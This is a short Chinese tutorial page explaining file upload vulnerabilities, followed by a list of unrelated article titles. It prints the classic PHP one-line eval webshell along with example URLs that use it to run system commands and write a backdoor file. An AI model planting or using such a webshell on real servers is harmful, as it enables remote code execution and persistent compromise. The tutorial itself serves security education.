当前位置: 首页 > news >正文

文件上传漏洞

一、文件上传漏洞

  • 对某个允许上传图片或文件的网站,比如博客上传一段webshell.php 并成功执行则说明该网站存在文件上传漏洞
    上传成功后需要知道文件上传后的访问路径是什么才能成功执行上传的文件
    举例:
(1) 测试文件上传漏洞尽量不要用有危害的webshell来测试只需要能验证漏洞存在即可
vim webshell.php
<?php echo "Test file uploaded successfully"; ?>       这个内容是安全的不会对系统造成破坏
<?php echo shell_exec("ls"); ?>                                 如果想看目录结构可以这样,看完在上传其他无害内容把webshell覆盖(2) 黑客会利用webshell上传一句话木马进行破坏
vim webshell.php
<?php @eval($_GET[ 'pass' ]);?>
该代码是一句简单的php木马,会把用户的get请求传参传递给eval()函数并执行,@表示隐藏报错信息
http://example.com/webshell.php?pass=phpinfo(); 会返回phpinfo()内容,注意分号
http://example.com/webshell.php?pass=system('ls');  会返回当前系统目录结构
http://example.com/webshell.php?pass=file_put_contents('backdoor.php', '<?php echo "hacked"; ?>');  会创建backdoor.php文件内容是 <?php echo "hacked"; ?>vim webshell.php
<?php @eval

http://www.mrgr.cn/news/82520.html

相关文章:

  • 第27周:文献阅读及机器学习
  • JAVA-制作小游戏期末实训
  • 三种常见发票如何用软件批量查验真伪?91查验助手批量查验发票并自动保存截图
  • Python 中常见的数据结构之二推导式
  • 基于Spring Boot的智能笔记的开发与应用
  • 循环冗余校验CRC的介绍
  • node.js之---内置模块
  • node.js内置模块之---EventEmitter 类
  • 树莓派5-yolo5部署
  • MySQL8安装与卸载
  • 局域网中单台交换机VLAN应用
  • Visual Studio 中增加的AI功能
  • java 自定义字典序列化器:使用注解自动转换字典信息(自定义注解转换字典)
  • Fabric环境部署
  • Chromebook 的 4 个最佳变声器
  • IP5385应用于移动电源快充方案的30W到100W大功率电源管理芯片
  • 简单园区网的部署
  • node.js之---子线程(child_process)模块
  • 【大模型】7 天 AI 大模型学习
  • node.js之---CommonJS 模块
  • LLVM防忘录
  • 上升沿下降沿递增
  • VSCode下配置Blazor环境 断点调试Blazor项目
  • 今日复盘103周五(189)
  • ROS2软件架构全面解析-学习如何设计通信中间件框架
  • Java实现UDP与TCP应用程序